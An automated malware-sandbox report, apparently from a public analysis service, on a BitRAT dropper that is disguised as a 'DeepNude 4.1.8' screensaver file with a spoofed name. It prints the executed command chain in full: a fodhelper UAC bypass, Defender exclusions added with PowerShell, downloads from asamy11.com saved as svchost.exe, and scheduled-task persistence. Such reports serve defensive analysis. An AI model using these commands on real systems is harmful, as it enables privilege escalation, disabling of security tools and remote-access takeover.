Analysis

  • max time kernel
    30s
  • max time network
    16s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    12-10-2022 11:44

General

  • Target

    DeepNude-4.1.8-main/DeepNude 4.1.8/Ba‮nls.scr

  • Size

    59KB

  • MD5

    b242156243e162315223649f74781b47

  • SHA1

    62a05a78cc3e413556427174797b266056228e14

  • SHA256

    293dfd8fc8dbb5c9dae7f693dd7c8af5cc3b534080b75685738188ce4fa16a40

  • SHA512

    a29d16c282c3362cc306ab5adb8031c17e69738aa9cf6c86c4d8503469d44376f76659860b8678383900b9a9aaeeac39ef249b1718e8891e4465ea9f8e8c198c

  • SSDEEP

    384:J7dQrb1epzgNbvFAbBZUC6vZZBfNAAK/Voc+i0UzU1s4gQH7vn:hMbwiNL0ZUzlNAp/Vocb+

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://asamy11.com/cp.exe

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://asamy11.com/sv.exe

Signatures

  • BitRAT

    BitRAT is a remote access tool written in C++ and uses leaked source code from other families.

  • UAC bypass 3 TTPs 1 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Downloads MZ/PE file
  • Sets file to hidden 1 TTPs 4 IoCs

    Modifies file attributes to stop it showing in Explorer etc.

  • Creates scheduled task(s) 1 TTPs 4 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 3 IoCs
  • Kills process with taskkill 1 IoCs
  • Modifies registry class 7 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious use of AdjustPrivilegeToken 7 IoCs
  • Suspicious use of WriteProcessMemory 52 IoCs
  • Views/modifies file attributes 1 TTPs 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\DeepNude-4.1.8-main\DeepNude 4.1.8\Ba‮nls.scr
    "C:\Users\Admin\AppData\Local\Temp\DeepNude-4.1.8-main\DeepNude 4.1.8\Ba‮nls.scr" /S
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4960
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\DeepNude-4.1.8-main\DeepNude 4.1.8/Barcs/Nugets/logs.bat""
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4084
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\DeepNude-4.1.8-main\DeepNude 4.1.8\Barcs\Nugets\logs.bat"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4136
        • C:\Windows\system32\reg.exe
          REG ADD "HKCU\SOFTWARE\ClAsses\ms-settings\shell\open\commAnd" /t REG_SZ /d "C:\windows\SYStem32\cmd.exe /c REG ADD HKLM\soFtwARE\micRosoFt\windows\cuRREntveRsion\policies\SYStem /v ConsentPRomptBehAvioRAdmin /t REG_DWORD /d 0 /F" /F
          4⤵
          • Modifies registry class
          PID:1304
        • C:\Windows\system32\reg.exe
          REG ADD "hkcu\soFtwARE\clAsses\ms-settings\shell\open\commAnd" /v DelegAteExecute /t REG_SZ /d " " /F
          4⤵
          • Modifies registry class
          PID:676
        • C:\Windows\system32\fodhelper.exe
          FodhelpeR.exe
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:3524
          • C:\windows\SYStem32\cmd.exe
            "C:\windows\SYStem32\cmd.exe" /c REG ADD HKLM\soFtwARE\micRosoFt\windows\cuRREntveRsion\policies\SYStem /v ConsentPRomptBehAvioRAdmin /t REG_DWORD /d 0 /F
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:1352
            • C:\Windows\system32\reg.exe
              REG ADD HKLM\soFtwARE\micRosoFt\windows\cuRREntveRsion\policies\SYStem /v ConsentPRomptBehAvioRAdmin /t REG_DWORD /d 0 /F
              6⤵
              • UAC bypass
              • Modifies registry key
              PID:5012
        • C:\Windows\SYStem32\cacls.exe
          "C:\Windows\SYStem32\cAcls.exe" "C:\Windows\SYStem32\conFig\SYStem"
          4⤵
            PID:5096
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            poWERshell.exe -c "ADD-MpPREFeREnce -ExclusionExtension ".exe""
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1472
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            poWERshell.exe -c "ADD-MpPREFeREnce -ExclusionExtension ".dll""
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1860
          • C:\Windows\system32\timeout.exe
            timeout /T 1
            4⤵
            • Delays execution with timeout.exe
            PID:5028
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            poWERshell.exe -c (New-Object System.Net.WebClient).DownloadFile('http://asamy11.com/cp.exe','C:\Users\Admin\file\svchost.exe')
            4⤵
            • Blocklisted process makes network request
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1464
          • C:\Windows\system32\timeout.exe
            timeout /T 1
            4⤵
            • Delays execution with timeout.exe
            PID:3672
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            poWERshell.exe -c (New-Object System.Net.WebClient).DownloadFile('http://asamy11.com/sv.exe','C:\Users\Admin\file\f\svchost.exe')
            4⤵
            • Blocklisted process makes network request
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3684
          • C:\Windows\system32\timeout.exe
            timeout /T 1
            4⤵
            • Delays execution with timeout.exe
            PID:4632
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            poWERshell.exe -c "Start-Process -FilePath schtasks -ArgumentList '/Create', '/sc ONLOGON', '/tn SystemRestore', '/IT', '/TR', \"C:\Users\Admin\file\svchost.exe\""
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:1256
            • C:\Windows\system32\schtasks.exe
              "C:\Windows\system32\schtasks.exe" /Create /sc ONLOGON /tn SystemRestore /IT /TR C:\Users\Admin\file\svchost.exe
              5⤵
              • Creates scheduled task(s)
              PID:2900
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            poWERshell.exe -c "Start-Process -FilePath schtasks -ArgumentList '/Create', '/sc ONLOGON', '/tn SystemRegenerate', '/IT', '/TR', \"C:\Users\Admin\file\f\svchost.exe\""
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:4112
            • C:\Windows\system32\schtasks.exe
              "C:\Windows\system32\schtasks.exe" /Create /sc ONLOGON /tn SystemRegenerate /IT /TR C:\Users\Admin\file\f\svchost.exe
              5⤵
              • Creates scheduled task(s)
              PID:1920
          • C:\Windows\system32\schtasks.exe
            schtasks /create /sc minute /mo 3 /tn "SystemBackup" /tr "C:\Users\Admin\file\f\svchost.exe"
            4⤵
            • Creates scheduled task(s)
            PID:1620
          • C:\Windows\system32\schtasks.exe
            schtasks /create /sc minute /mo 2 /tn "SystemRecovery" /tr "C:\Users\Admin\file\svchost.exe"
            4⤵
            • Creates scheduled task(s)
            PID:1268
          • C:\Windows\system32\attrib.exe
            attrib +S +H C:\Users\Admin\file
            4⤵
            • Sets file to hidden
            • Views/modifies file attributes
            PID:1744
          • C:\Windows\system32\attrib.exe
            attrib +S +H C:\Users\Admin\file\svchost.exe
            4⤵
            • Sets file to hidden
            • Views/modifies file attributes
            PID:4040
          • C:\Windows\system32\attrib.exe
            attrib +S +H C:\Users\Admin\file\f
            4⤵
            • Sets file to hidden
            • Views/modifies file attributes
            PID:4964
          • C:\Windows\system32\attrib.exe
            attrib +S +H C:\Users\Admin\file\f\svchost.exe
            4⤵
            • Sets file to hidden
            • Views/modifies file attributes
            PID:1932
          • C:\Windows\system32\taskkill.exe
            taskkill /F /IM cmd.exe
            4⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:776

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Execution

    Scheduled Task

    1
    T1053

    Persistence

    Hidden Files and Directories

    2
    T1158

    Scheduled Task

    1
    T1053

    Privilege Escalation

    Bypass User Account Control

    1
    T1088

    Scheduled Task

    1
    T1053

    Defense Evasion

    Bypass User Account Control

    1
    T1088

    Disabling Security Tools

    1
    T1089

    Modify Registry

    2
    T1112

    Hidden Files and Directories

    2
    T1158

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
      Filesize

      2KB

      MD5

      d85ba6ff808d9e5444a4b369f5bc2730

      SHA1

      31aa9d96590fff6981b315e0b391b575e4c0804a

      SHA256

      84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

      SHA512

      8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
      Filesize

      944B

      MD5

      d28a889fd956d5cb3accfbaf1143eb6f

      SHA1

      157ba54b365341f8ff06707d996b3635da8446f7

      SHA256

      21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45

      SHA512

      0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
      Filesize

      944B

      MD5

      7a451cd1316d70a65910773fee8c3a43

      SHA1

      d2db32d5037153dd1d94565b51b5b385817a3c3d

      SHA256

      862d25ed22075f3d1f5e8d29a3c6e050dc91e53a4dc653c3f0f7c627a12ee26c

      SHA512

      60887f795036fbd6d25234c17dab4463a8a02f576ae8c07dd7b4c4ff1dba35f99b7301139ea051a7a80fdfc9e003a2f0c2dd0d444a82ecf87a3df21507332aa6

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
      Filesize

      1KB

      MD5

      3bc487c4f8b717d6f9744ecffaeba1af

      SHA1

      9a0a6198ae1e2782f109bcb1cb9e86003b6fcfdb

      SHA256

      1ec5b30fddeee139923b4296b5f7ca549775e5679dac48204a77f4ac5391c0cc

      SHA512

      552b82ebb19ff6c7f3214b33d31c2f295702a91c699fdd835acc7ce3a4e5bc10bbacde8cf77422d494ea6193d46d78786d3cdd26077d0ab1a98426fd83652dfe

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
      Filesize

      1KB

      MD5

      93f47be3923281bcca20fdc835a85f4a

      SHA1

      4f542170c3cf56e32f5d7473a59e277a8cbbe305

      SHA256

      a2a177f1e168171ed86deac452448ca26768c3f3af9dd5d4a1ec4e7d2e7471a0

      SHA512

      598f9e0d0c4998b08d652ef94d93b6ac8c4181ccce0faac134287b40bb9ca3dd44264ef4f14e13cd2cc23ef3f205eab3140d40bdbf487157d5a02bdd7fe043b9

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
      Filesize

      64B

      MD5

      305a12bb9c823693a21be8eb4cd6764f

      SHA1

      dcafb24f3356122d647069577755597d7ecddeca

      SHA256

      b54ce1e64d4bd29a0c1634dec91251428a81f61f52121e73b42fbd8873411718

      SHA512

      939dea2c3f42b1e09465d26b5e008bd32fd95f4bd15c89ae22369a7cc6c7cfd729e030627d19c4d469280c3aa7024edf57d3b78e08dc4d43d799fb891a92e196

    • C:\Users\Admin\file\f\svchost.exe
      Filesize

      9KB

      MD5

      1d7c371b11e5106c1c74927dc3f7af32

      SHA1

      a45fdd112ff13933926f0249e04e877819f83bed

      SHA256

      36e1a3ffea6eb3d08e7d37a7bfc30276f51b315e259dfcc23661572df33141dc

      SHA512

      707d0eecfefdb6962d30651b1b8595bf56530b7f80aaf54cc4dff727e2dfbc6a19781b492e3b15db9699d5586be38323132535900cfe6ced4c089707f5465c60

    • C:\Users\Admin\file\svchost.exe
      Filesize

      3.8MB

      MD5

      45c8f90c877f80ba045b3dbe894e618c

      SHA1

      daab90a71238516c0f2b7f0bc304081d5a688b26

      SHA256

      44aa53ef588c973163b1d312e2920825b5287640f1f9b1447a784f1e2802e6ee

      SHA512

      daae8bd7bcfeb329f056d76ced7d1cf974194ac757e375f3f5f5982b431828c0e652d3e49700ad876173279a658632e396c9c1d4588c38328bbe2676ae2bdd68

    • memory/676-137-0x0000000000000000-mapping.dmp
    • memory/776-179-0x0000000000000000-mapping.dmp
    • memory/1256-160-0x0000000000000000-mapping.dmp
    • memory/1256-162-0x00007FFA79F20000-0x00007FFA7A9E1000-memory.dmp
      Filesize

      10.8MB

    • memory/1256-164-0x00007FFA79F20000-0x00007FFA7A9E1000-memory.dmp
      Filesize

      10.8MB

    • memory/1268-172-0x0000000000000000-mapping.dmp
    • memory/1304-136-0x0000000000000000-mapping.dmp
    • memory/1352-139-0x0000000000000000-mapping.dmp
    • memory/1464-153-0x00007FFA79F20000-0x00007FFA7A9E1000-memory.dmp
      Filesize

      10.8MB

    • memory/1464-152-0x00007FFA79F20000-0x00007FFA7A9E1000-memory.dmp
      Filesize

      10.8MB

    • memory/1464-150-0x0000000000000000-mapping.dmp
    • memory/1472-144-0x00007FFA79F20000-0x00007FFA7A9E1000-memory.dmp
      Filesize

      10.8MB

    • memory/1472-143-0x00000224F0120000-0x00000224F0142000-memory.dmp
      Filesize

      136KB

    • memory/1472-142-0x0000000000000000-mapping.dmp
    • memory/1620-171-0x0000000000000000-mapping.dmp
    • memory/1744-173-0x0000000000000000-mapping.dmp
    • memory/1860-145-0x0000000000000000-mapping.dmp
    • memory/1860-148-0x00007FFA79F20000-0x00007FFA7A9E1000-memory.dmp
      Filesize

      10.8MB

    • memory/1920-168-0x0000000000000000-mapping.dmp
    • memory/1932-177-0x0000000000000000-mapping.dmp
    • memory/2900-163-0x0000000000000000-mapping.dmp
    • memory/3524-138-0x0000000000000000-mapping.dmp
    • memory/3672-154-0x0000000000000000-mapping.dmp
    • memory/3684-155-0x0000000000000000-mapping.dmp
    • memory/3684-158-0x00007FFA79F20000-0x00007FFA7A9E1000-memory.dmp
      Filesize

      10.8MB

    • memory/3684-157-0x00007FFA79F20000-0x00007FFA7A9E1000-memory.dmp
      Filesize

      10.8MB

    • memory/4040-174-0x0000000000000000-mapping.dmp
    • memory/4084-134-0x0000000000000000-mapping.dmp
    • memory/4112-165-0x0000000000000000-mapping.dmp
    • memory/4112-169-0x00007FFA79F20000-0x00007FFA7A9E1000-memory.dmp
      Filesize

      10.8MB

    • memory/4112-170-0x00007FFA79F20000-0x00007FFA7A9E1000-memory.dmp
      Filesize

      10.8MB

    • memory/4136-135-0x0000000000000000-mapping.dmp
    • memory/4632-159-0x0000000000000000-mapping.dmp
    • memory/4960-167-0x00007FFA79F20000-0x00007FFA7A9E1000-memory.dmp
      Filesize

      10.8MB

    • memory/4960-132-0x0000000000A10000-0x0000000000A24000-memory.dmp
      Filesize

      80KB

    • memory/4960-133-0x00007FFA79F20000-0x00007FFA7A9E1000-memory.dmp
      Filesize

      10.8MB

    • memory/4960-180-0x00007FFA79F20000-0x00007FFA7A9E1000-memory.dmp
      Filesize

      10.8MB

    • memory/4964-176-0x0000000000000000-mapping.dmp
    • memory/5012-141-0x0000000000000000-mapping.dmp
    • memory/5028-149-0x0000000000000000-mapping.dmp
    • memory/5096-140-0x0000000000000000-mapping.dmp